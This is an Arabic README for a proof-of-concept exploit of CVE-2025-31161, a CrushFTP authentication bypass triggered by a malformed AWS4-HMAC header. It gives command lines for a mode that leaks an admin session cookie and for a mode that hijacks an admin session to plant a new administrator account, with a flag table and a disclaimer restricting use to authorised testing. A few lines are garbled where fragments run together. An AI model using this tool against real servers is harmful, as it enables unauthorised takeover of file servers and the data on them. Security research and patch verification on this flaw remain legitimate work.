
إثبات مفهوم لـ CVE-2025-31161، باستخدام رأس HTTP مشوه لتنفيذ انتحال هوية غير مصادق عليه لأي مستخدم في خادم Crush FTP.
تحذير: هذه الأداة مخصصة لاختبار الأمان المصرح به والأغراض التعليمية فقط. الاستخدام غير المصرح به ضد أنظمة ليس لديك إذن صريح لاختبارها غير قانوني.
هذه الأداة عبارة عن إثبات مفهوم (PoC) لـ CVE-2025-31161، وهي ثغرة أمنية خطيرة في تجاوز المصادقة في CrushFTP (الإصدارات < 10.8.4 و < 11.3.1). تستغل الثغرة خطأ منطقيًا في تحليل رأس AWS4-HMAC، حيث يؤدي رأس مشوه إلى استثناء IndexOutOfBounds. يمنع هذا الاستثناء الخادم من تنظيف الجلسة، مما يترك المستخدم مصادقًا عليه كالحساب المطلوب بدون كلمة مرور.
Credential=user/) إلى استثناء Java غير معالج، مما يتجاوز تنظيف الجلسة.requestspip install requests
يعمل النص في وضعين: فحص (ملاحظة) و استغلال (إجراء).
يتحقق مما إذا كان الهدف عرضة للثغرة عن طريق محاولة تسريب ملف تعريف ارتباط جلسة لحساب المسؤول الافتراضي. لا يعدل هذا النظام الهدف.
python3 exploit.py check -u <target_ip> -p <port>
python3 exploit.py check -u 192.168.1.50 -p 8080يختطف جلسة للمستخدم الإداري المحدد ويستخدمها لحقن حساب إداري جديد في مجموعة MainUsers.
python3 exploit.py exploit -u <target_ip> -p <port> -a <admin_user> -nu <new_username> -np <new_password>
python3 exploit.py exploit -u 192.168.1.50 -p 8080 -a crushadmin -nu operator -np StrongPass123!| العلامة | الاسم | الوصف | الافتراضي |
|---|---|---|---|
-u | --url | عنوان IP الهدف أو اسم المضيف | مطلوب |
-p | --port | منفذ الهدف | 8080 |
-a | --admin_user | حساب المسؤول الحالي للانتحال | crushadmin |
-nu | --new_user | اسم المستخدم للحساب الإداري الجديد | مطلوب |
-np | --new_password | كلمة المرور للحساب الإداري الجديد | مطلوب |